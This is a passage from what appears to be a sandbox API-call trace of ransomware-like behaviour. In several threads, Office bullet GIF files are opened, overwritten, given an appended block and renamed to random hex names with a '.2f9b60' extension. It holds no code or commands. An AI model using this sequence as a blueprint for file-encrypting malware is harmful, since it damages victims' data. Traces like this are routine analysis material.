Flags=0x0, BaseAddress=0x42ac0bc0) returned 1 [0163.221] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x2050b740 [0163.221] wcscat (in: _Dest=0x2050b740, _Source="24a48d9eed77" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\24a48d9eed77") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\24a48d9eed77" [0163.221] wcscat (in: _Dest=0x2050b740, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\24a48d9eed77.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\24a48d9eed77.2f9b60" [0163.221] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\24a48d9eed77.2f9b60", NtPathName=0x39f6faf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\24a48d9eed77.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.221] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x1ce21d20 Thread: id = 2644 os_tid = 0x21bc [0156.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10335_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10335_.gif")) returned 0x20 [0156.981] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10335_.GIF", dwFileAttributes=0x20) returned 1 [0156.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10335_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10335_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x10d0 [0156.983] GetFileSizeEx (in: hFile=0x10d0, lpFileSize=0x3a27fbc0 | out: lpFileSize=0x3a27fbc0*=282) returned 1 [0156.983] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x116, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.983] ReadFile (in: hFile=0x10d0, lpBuffer=0x3a27fb40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3a27fb88, lpOverlapped=0x0 | out: lpBuffer=0x3a27fb40*, lpNumberOfBytesRead=0x3a27fb88*=0x4, lpOverlapped=0x0) returned 1 [0156.984] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.984] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f69a0 [0156.984] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0b60 [0156.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0bf0 [0156.985] NtQuerySystemTime (in: CurrentTime=0x3a27fa80 | out: CurrentTime=0x3a27fa80*=132462177621226000) returned 0x0 [0156.985] RtlRandomEx (in: Seed=0x3a27fa70 | out: Seed=0x3a27fa70) returned 0x271bac9c [0156.985] RtlRandomEx (in: Seed=0x3a27fa70 | out: Seed=0x3a27fa70) returned 0x5443e17 [0156.985] RtlRandomEx (in: Seed=0x3a27fa70 | out: Seed=0x3a27fa70) returned 0x4426ca1d [0156.985] RtlRandomEx (in: Seed=0x3a27fa70 | out: Seed=0x3a27fa70) returned 0x7b2dd9ca [0156.985] RtlRandomEx (in: Seed=0x3a27fa70 | out: Seed=0x3a27fa70) returned 0x27346af8 [0156.985] RtlRandomEx (in: Seed=0x3a27fa70 | out: Seed=0x3a27fa70) returned 0x75832190 [0156.985] RtlRandomEx (in: Seed=0x3a27fa70 | out: Seed=0x3a27fa70) returned 0x2b4cdf90 [0156.985] RtlRandomEx (in: Seed=0x3a27fa70 | out: Seed=0x3a27fa70) returned 0x28642aea [0156.985] RtlRandomEx (in: Seed=0x3a27fa70 | out: Seed=0x3a27fa70) returned 0x6945606c [0156.985] RtlRandomEx (in: Seed=0x3a27fa70 | out: Seed=0x3a27fa70) returned 0x48ee676d [0156.985] RtlRandomEx (in: Seed=0x3a27fa70 | out: Seed=0x3a27fa70) returned 0x2620dd96 [0156.985] RtlRandomEx (in: Seed=0x3a27fa70 | out: Seed=0x3a27fa70) returned 0x454a1a48 [0156.985] RtlRandomEx (in: Seed=0x3a27fa70 | out: Seed=0x3a27fa70) returned 0x44eedd99 [0156.986] RtlRandomEx (in: Seed=0x3a27fa70 | out: Seed=0x3a27fa70) returned 0x669d6c04 [0156.986] RtlRandomEx (in: Seed=0x3a27fa70 | out: Seed=0x3a27fa70) returned 0x677580ec [0156.986] RtlRandomEx (in: Seed=0x3a27fa70 | out: Seed=0x3a27fa70) returned 0x2686d6ef [0156.986] RtlRandomEx (in: Seed=0x3a27fa70 | out: Seed=0x3a27fa70) returned 0x2c3c7042 [0156.986] RtlRandomEx (in: Seed=0x3a27fa70 | out: Seed=0x3a27fa70) returned 0x74e49ec4 [0156.986] RtlRandomEx (in: Seed=0x3a27fa70 | out: Seed=0x3a27fa70) returned 0x18f3ade6 [0156.986] RtlRandomEx (in: Seed=0x3a27fa70 | out: Seed=0x3a27fa70) returned 0x63c01b19 [0156.986] RtlRandomEx (in: Seed=0x3a27fa70 | out: Seed=0x3a27fa70) returned 0x3bce0db6 [0156.986] RtlRandomEx (in: Seed=0x3a27fa70 | out: Seed=0x3a27fa70) returned 0x5e0a45a5 [0156.986] RtlRandomEx (in: Seed=0x3a27fa70 | out: Seed=0x3a27fa70) returned 0x520d7f3 [0156.986] RtlRandomEx (in: Seed=0x3a27fa70 | out: Seed=0x3a27fa70) returned 0x5c01dd2d [0156.986] RtlRandomEx (in: Seed=0x3a27fa70 | out: Seed=0x3a27fa70) returned 0x36c3d4b0 [0156.986] RtlRandomEx (in: Seed=0x3a27fa70 | out: Seed=0x3a27fa70) returned 0x63471a1c [0156.986] RtlRandomEx (in: Seed=0x3a27fa70 | out: Seed=0x3a27fa70) returned 0x400ddcc6 [0156.986] RtlRandomEx (in: Seed=0x3a27fa70 | out: Seed=0x3a27fa70) returned 0x2d10727a [0156.986] RtlRandomEx (in: Seed=0x3a27fa70 | out: Seed=0x3a27fa70) returned 0x7bec21e [0156.986] RtlRandomEx (in: Seed=0x3a27fa70 | out: Seed=0x3a27fa70) returned 0x78c09183 [0156.986] RtlRandomEx (in: Seed=0x3a27fa70 | out: Seed=0x3a27fa70) returned 0x4dbaeaa8 [0156.986] RtlRandomEx (in: Seed=0x3a27fa70 | out: Seed=0x3a27fa70) returned 0x30f62e8b [0157.001] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0c20 [0157.002] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6420 [0157.002] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0c50 [0157.003] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6420) returned 1 [0157.003] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0bf0) returned 1 [0157.003] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f69a0) returned 1 [0157.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce19180 [0157.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6420 [0157.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f69a0 [0157.004] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f69a0) returned 1 [0157.004] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42abcae0 [0157.004] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42ac49e0 [0157.015] ReadFile (in: hFile=0x10d0, lpBuffer=0x42abcae0, nNumberOfBytesToRead=0x11a, lpNumberOfBytesRead=0x3a27fa70, lpOverlapped=0x0 | out: lpBuffer=0x42abcae0*, lpNumberOfBytesRead=0x3a27fa70*=0x11a, lpOverlapped=0x0) returned 1 [0157.015] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.015] WriteFile (in: hFile=0x10d0, lpBuffer=0x42ac49e0*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x3a27fa74, lpOverlapped=0x0 | out: lpBuffer=0x42ac49e0*, lpNumberOfBytesWritten=0x3a27fa74*=0x11a, lpOverlapped=0x0) returned 1 [0161.437] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4310 [0161.437] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4340 [0161.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4340) returned 1 [0161.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac49e0) returned 1 [0161.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42abcae0) returned 1 [0161.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6420) returned 1 [0161.439] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce19180) returned 1 [0161.439] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a4340 [0161.439] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce19180 [0161.439] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6420 [0161.440] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4370 [0161.440] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4370) returned 1 [0161.440] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a4370 [0161.440] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a43a0 [0161.440] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a43d0 [0161.441] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a43d0) returned 1 [0161.441] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6420) returned 1 [0161.441] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce19180) returned 1 [0161.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x423aa650 [0161.442] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.442] WriteFile (in: hFile=0x10d0, lpBuffer=0x423aa650*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3a27fb90, lpOverlapped=0x0 | out: lpBuffer=0x423aa650*, lpNumberOfBytesWritten=0x3a27fb90*=0x10a, lpOverlapped=0x0) returned 1 [0163.205] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c760 [0163.206] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0163.206] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0aa0 [0163.207] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0aa0) returned 1 [0163.207] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d200 [0163.207] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0aa0 [0163.207] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0a70 [0163.208] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0a70) returned 1 [0163.208] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0163.208] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c760) returned 1 [0163.208] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f130 [0163.209] sprintf (in: _Dest=0x1cd9f130, _Format="%c%c" | out: _Dest="1b") returned 2 [0163.209] sprintf (in: _Dest=0x1cd9f132, _Format="%c%c" | out: _Dest="7d") returned 2 [0163.209] sprintf (in: _Dest=0x1cd9f134, _Format="%c%c" | out: _Dest="53") returned 2 [0163.209] sprintf (in: _Dest=0x1cd9f136, _Format="%c%c" | out: _Dest="ee") returned 2 [0163.209] sprintf (in: _Dest=0x1cd9f138, _Format="%c%c" | out: _Dest="63") returned 2 [0163.209] sprintf (in: _Dest=0x1cd9f13a, _Format="%c%c" | out: _Dest="50") returned 2 [0163.209] sprintf (in: _Dest=0x1cd9f13c, _Format="%c%c" | out: _Dest="a1") returned 2 [0163.209] sprintf (in: _Dest=0x1cd9f13e, _Format="%c%c" | out: _Dest="e0") returned 2 [0163.209] sprintf (in: _Dest=0x1cd9f140, _Format="%c%c" | out: _Dest="6c") returned 2 [0163.209] sprintf (in: _Dest=0x1cd9f142, _Format="%c%c" | out: _Dest="61") returned 2 [0163.209] sprintf (in: _Dest=0x1cd9f144, _Format="%c%c" | out: _Dest="5b") returned 2 [0163.209] sprintf (in: _Dest=0x1cd9f146, _Format="%c%c" | out: _Dest="76") returned 2 [0163.209] sprintf (in: _Dest=0x1cd9f148, _Format="%c%c" | out: _Dest="b2") returned 2 [0163.209] sprintf (in: _Dest=0x1cd9f14a, _Format="%c%c" | out: _Dest="7c") returned 2 [0163.209] sprintf (in: _Dest=0x1cd9f14c, _Format="%c%c" | out: _Dest="17") returned 2 [0163.209] sprintf (in: _Dest=0x1cd9f14e, _Format="%c%c" | out: _Dest="d8") returned 2 [0163.209] sprintf (in: _Dest=0x1cd9f150, _Format="%c%c" | out: _Dest="a3") returned 2 [0163.209] sprintf (in: _Dest=0x1cd9f152, _Format="%c%c" | out: _Dest="c0") returned 2 [0163.209] sprintf (in: _Dest=0x1cd9f154, _Format="%c%c" | out: _Dest="1d") returned 2 [0163.209] sprintf (in: _Dest=0x1cd9f156, _Format="%c%c" | out: _Dest="69") returned 2 [0163.209] sprintf (in: _Dest=0x1cd9f158, _Format="%c%c" | out: _Dest="a9") returned 2 [0163.209] sprintf (in: _Dest=0x1cd9f15a, _Format="%c%c" | out: _Dest="f0") returned 2 [0163.209] sprintf (in: _Dest=0x1cd9f15c, _Format="%c%c" | out: _Dest="03") returned 2 [0163.209] sprintf (in: _Dest=0x1cd9f15e, _Format="%c%c" | out: _Dest="ca") returned 2 [0163.209] RtlInitAnsiString (in: DestinationString=0x3a27fc08, SourceString="1b7d53ee6350a1e06c615b76b27c17d8a3c01d69a9f003ca" | out: DestinationString="1b7d53ee6350a1e06c615b76b27c17d8a3c01d69a9f003ca") [0163.209] RtlAnsiStringToUnicodeString (in: DestinationString=0x3a27fbd8, SourceString="1b7d53ee6350a1e06c615b76b27c17d8a3c01d69a9f003ca", AllocateDestinationString=1 | out: DestinationString="1b7d53ee6350a1e06c615b76b27c17d8a3c01d69a9f003ca") returned 0x0 [0163.209] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7a3490 [0163.210] RtlFreeAnsiString (AnsiString="1") [0163.210] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f130) returned 1 [0163.211] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d200) returned 1 [0163.211] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0aa0) returned 1 [0163.211] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423aa650) returned 1 [0163.211] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4370) returned 1 [0163.211] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a43a0) returned 1 [0163.212] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4340) returned 1 [0163.212] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4310) returned 1 [0163.212] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0b60) returned 1 [0163.212] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0c20) returned 1 [0163.213] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0c50) returned 1 [0163.213] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x2050c240 [0163.213] wcscat (in: _Dest=0x2050c240, _Source="1b7d53ee6350" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\1b7d53ee6350") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\1b7d53ee6350" [0163.213] wcscat (in: _Dest=0x2050c240, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\1b7d53ee6350.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\1b7d53ee6350.2f9b60" [0163.213] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\1b7d53ee6350.2f9b60", NtPathName=0x3a27fbb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\1b7d53ee6350.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.213] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x1ce229e0 Thread: id = 2645 os_tid = 0x21c0 [0157.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10336_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10336_.gif")) returned 0x20 [0157.018] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10336_.GIF", dwFileAttributes=0x20) returned 1 [0157.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10336_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10336_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x7b4 [0157.019] GetFileSizeEx (in: hFile=0x7b4, lpFileSize=0x39bff6e0 | out: lpFileSize=0x39bff6e0*=204) returned 1 [0157.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f69a0 [0157.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0bf0 [0157.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0c80 [0157.020] NtQuerySystemTime (in: CurrentTime=0x39bff5a0 | out: CurrentTime=0x39bff5a0*=132462177621538000) returned 0x0 [0157.020] RtlRandomEx (in: Seed=0x39bff590 | out: Seed=0x39bff590) returned 0x59b75f19 [0157.020] RtlRandomEx (in: Seed=0x39bff590 | out: Seed=0x39bff590) returned 0x7b19a91 [0157.020] RtlRandomEx (in: Seed=0x39bff590 | out: Seed=0x39bff590) returned 0x255204e1 [0157.021] RtlRandomEx (in: Seed=0x39bff590 | out: Seed=0x39bff590) returned 0x47ecd5eb [0157.021] RtlRandomEx (in: Seed=0x39bff590 | out: Seed=0x39bff590) returned 0x46a0e5aa [0157.021] RtlRandomEx (in: Seed=0x39bff590 | out: Seed=0x39bff590) returned 0xc146083 [0157.021] RtlRandomEx (in: Seed=0x39bff590 | out: Seed=0x39bff590) returned 0x47ce077d [0157.021] RtlRandomEx (in: Seed=0x39bff590 | out: Seed=0x39bff590) returned 0x722f2238 [0157.021] RtlRandomEx (in: Seed=0x39bff590 | out: Seed=0x39bff590) returned 0x23af5bfc [0157.021] RtlRandomEx (in: Seed=0x39bff590 | out: Seed=0x39bff590) returned 0x4b808b9f [0157.021] RtlRandomEx (in: Seed=0x39bff590 | out: Seed=0x39bff590) returned 0x311b4ff5 [0157.021] RtlRandomEx (in: Seed=0x39bff590 | out: Seed=0x39bff590) returned 0x25fd1067 [0157.021] RtlRandomEx (in: Seed=0x39bff590 | out: Seed=0x39bff590) returned 0x8db7fe9 [0157.021] RtlRandomEx (in: Seed=0x39bff590 | out: Seed=0x39bff590) returned 0x1fb9d73b [0157.021] RtlRandomEx (in: Seed=0x39bff590 | out: Seed=0x39bff590) returned 0x440e5bbd [0157.021] RtlRandomEx (in: Seed=0x39bff590 | out: Seed=0x39bff590) returned 0x7bbfa07d [0157.021] RtlRandomEx (in: Seed=0x39bff590 | out: Seed=0x39bff590) returned 0x560e0e0b [0157.021] RtlRandomEx (in: Seed=0x39bff590 | out: Seed=0x39bff590) returned 0x18e5c247 [0157.021] RtlRandomEx (in: Seed=0x39bff590 | out: Seed=0x39bff590) returned 0xf9654c3 [0157.021] RtlRandomEx (in: Seed=0x39bff590 | out: Seed=0x39bff590) returned 0x7792ec63 [0157.021] RtlRandomEx (in: Seed=0x39bff590 | out: Seed=0x39bff590) returned 0xee4e95e [0157.021] RtlRandomEx (in: Seed=0x39bff590 | out: Seed=0x39bff590) returned 0xbe5335c [0157.021] RtlRandomEx (in: Seed=0x39bff590 | out: Seed=0x39bff590) returned 0x603ba7ec [0157.021] RtlRandomEx (in: Seed=0x39bff590 | out: Seed=0x39bff590) returned 0x334d1515 [0157.021] RtlRandomEx (in: Seed=0x39bff590 | out: Seed=0x39bff590) returned 0x275c47d [0157.021] RtlRandomEx (in: Seed=0x39bff590 | out: Seed=0x39bff590) returned 0xe9ff7e7 [0157.022] RtlRandomEx (in: Seed=0x39bff590 | out: Seed=0x39bff590) returned 0x1e872369 [0157.022] RtlRandomEx (in: Seed=0x39bff590 | out: Seed=0x39bff590) returned 0x4dcdd225 [0157.022] RtlRandomEx (in: Seed=0x39bff590 | out: Seed=0x39bff590) returned 0x2dfdd850 [0157.022] RtlRandomEx (in: Seed=0x39bff590 | out: Seed=0x39bff590) returned 0x2a5e9925 [0157.022] RtlRandomEx (in: Seed=0x39bff590 | out: Seed=0x39bff590) returned 0x1e57663f [0157.022] RtlRandomEx (in: Seed=0x39bff590 | out: Seed=0x39bff590) returned 0xa64de0d [0157.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0cb0 [0157.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec64a0 [0157.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0ce0 [0157.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec64a0) returned 1 [0157.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0c80) returned 1 [0157.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f69a0) returned 1 [0157.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0157.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec64a0 [0157.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f69a0 [0157.035] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f69a0) returned 1 [0157.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42ac85f0 [0157.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42acc200 [0157.035] ReadFile (in: hFile=0x7b4, lpBuffer=0x42ac85f0, nNumberOfBytesToRead=0xcc, lpNumberOfBytesRead=0x39bff590, lpOverlapped=0x0 | out: lpBuffer=0x42ac85f0*, lpNumberOfBytesRead=0x39bff590*=0xcc, lpOverlapped=0x0) returned 1 [0157.037] SetFilePointerEx (in: hFile=0x7b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.037] WriteFile (in: hFile=0x7b4, lpBuffer=0x42acc200*, nNumberOfBytesToWrite=0xcc, lpNumberOfBytesWritten=0x39bff594, lpOverlapped=0x0 | out: lpBuffer=0x42acc200*, lpNumberOfBytesWritten=0x39bff594*=0xcc, lpOverlapped=0x0) returned 1 [0161.449] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4490 [0161.449] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a44c0 [0161.450] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a44c0) returned 1 [0161.450] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42acc200) returned 1 [0161.450] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac85f0) returned 1 [0161.450] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec64a0) returned 1 [0161.450] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0161.450] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a44c0 [0161.451] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0161.451] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec64a0 [0161.451] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a44f0 [0161.451] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a44f0) returned 1 [0161.451] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a44f0 [0161.452] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4520 [0161.452] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4550 [0161.452] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4550) returned 1 [0161.452] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec64a0) returned 1 [0161.453] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0161.453] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x423aa890 [0161.453] SetFilePointerEx (in: hFile=0x7b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.453] WriteFile (in: hFile=0x7b4, lpBuffer=0x423aa890*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x39bff6b0, lpOverlapped=0x0 | out: lpBuffer=0x423aa890*, lpNumberOfBytesWritten=0x39bff6b0*=0x10a, lpOverlapped=0x0) returned 1 [0163.241] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c760 [0163.241] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0163.242] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0b30 [0163.242] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0b30) returned 1 [0163.242] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d200 [0163.242] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0b30 [0163.242] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0b00 [0163.243] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0b00) returned 1 [0163.243] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0163.243] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c760) returned 1 [0163.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 